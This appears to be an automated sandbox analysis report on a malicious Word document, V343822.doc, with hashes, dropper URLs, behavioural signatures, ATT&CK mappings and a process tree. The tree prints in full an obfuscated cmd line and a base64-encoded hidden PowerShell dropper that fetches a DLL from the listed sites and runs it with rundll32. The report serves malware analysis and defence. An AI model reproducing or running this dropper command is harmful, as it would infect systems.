bd894f5bdae9ffa1df813017bb2d51069db1f49f98ba5a7218f8e46fffb809d9

General

Target

V343822.doc
Size

86KB
MD5

e0983f7a4c35fd6056be9cdf40bf27e8
SHA1

b97825db147014805b7aa55f1e8f670cdc5d9f33
SHA256

79ce7baebe9784a507b210c9959e8c1d20f80dd499cfb8077501fbc4c1b9489f
SHA512

126074dfeab725ad8df6627f8ba63511620301faa98475d1ac80ce7ff6086971df435ff97a4b50661aec86b927a3f0a511f77eecbb21a8f0fa3a806627f75748

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://globalruraldevelopmentagency.co.za/cgi-bin/inf/

exe.dropper

https://trioconcuerda.es/cgi-bin/Services/

exe.dropper

http://abbc.tv/wp-content/Triedit/

exe.dropper

http://asafina.co/wp-content/G3GLLO/

exe.dropper

http://bluepassgt.com/von-weise-ludzp/DNNXcQcRTT/

exe.dropper

http://larissarobles.com/wp-admin/SIGNUP/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 196 3368 cmd.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

21 636 powershell.exe
29 748 rundll32.exe
31 748 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3764 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ihpoogtsrjk\jrnwamxaez.fnk rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	3368	cmd.exe

flow	pid	process
21	636	powershell.exe
29	748	rundll32.exe
31	748	rundll32.exe

pid	process
3764	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ihpoogtsrjk\jrnwamxaez.fnk	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

576 WINWORD.EXE
576 WINWORD.EXE

pid	process
576	WINWORD.EXE
576	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exerundll32.exe

pid	process
636	powershell.exe
636	powershell.exe
636	powershell.exe
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 636 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

576 WINWORD.EXE
576 WINWORD.EXE
576 WINWORD.EXE
576 WINWORD.EXE
576 WINWORD.EXE
576 WINWORD.EXE
576 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	636	powershell.exe

pid	process
576	WINWORD.EXE
576	WINWORD.EXE
576	WINWORD.EXE
576	WINWORD.EXE
576	WINWORD.EXE
576	WINWORD.EXE
576	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 196 wrote to memory of 2624	196	cmd.exe	msg.exe
PID 196 wrote to memory of 2624	196	cmd.exe	msg.exe
PID 196 wrote to memory of 636	196	cmd.exe	powershell.exe
PID 196 wrote to memory of 636	196	cmd.exe	powershell.exe
PID 636 wrote to memory of 732	636	powershell.exe	rundll32.exe
PID 636 wrote to memory of 732	636	powershell.exe	rundll32.exe
PID 732 wrote to memory of 3764	732	rundll32.exe	rundll32.exe
PID 732 wrote to memory of 3764	732	rundll32.exe	rundll32.exe
PID 732 wrote to memory of 3764	732	rundll32.exe	rundll32.exe
PID 3764 wrote to memory of 748	3764	rundll32.exe	rundll32.exe
PID 3764 wrote to memory of 748	3764	rundll32.exe	rundll32.exe
PID 3764 wrote to memory of 748	3764	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\V343822.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:576

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:196

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:732

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ihpoogtsrjk\jrnwamxaez.fnk",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:748

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll
MD5
9ae559f1a34de3012d9f2931f344c0f2

SHA1
228f2d012a1f2edce63dcabed6d6b3e6f36744ca

SHA256
58e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b

SHA512
a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92

Download Submit
\Users\Admin\Frv3p35\Ntwhagi\W94C.dll
MD5
9ae559f1a34de3012d9f2931f344c0f2

SHA1
228f2d012a1f2edce63dcabed6d6b3e6f36744ca

SHA256
58e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b

SHA512
a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92

Download Submit
memory/576-2-0x00007FFC30470000-0x00007FFC30AA7000-memory.dmp

Filesize
6.2MB

Download
memory/636-4-0x0000000000000000-mapping.dmp

Download
memory/636-5-0x00007FFC29DE0000-0x00007FFC2A7CC000-memory.dmp

Filesize
9.9MB

Download
memory/636-6-0x000001F5504C0000-0x000001F5504C1000-memory.dmp

Filesize
4KB

Download
memory/636-7-0x000001F550670000-0x000001F550671000-memory.dmp

Filesize
4KB

Download
memory/732-8-0x0000000000000000-mapping.dmp

Download
memory/748-12-0x0000000000000000-mapping.dmp

Download
memory/2624-3-0x0000000000000000-mapping.dmp

Download
memory/3764-10-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads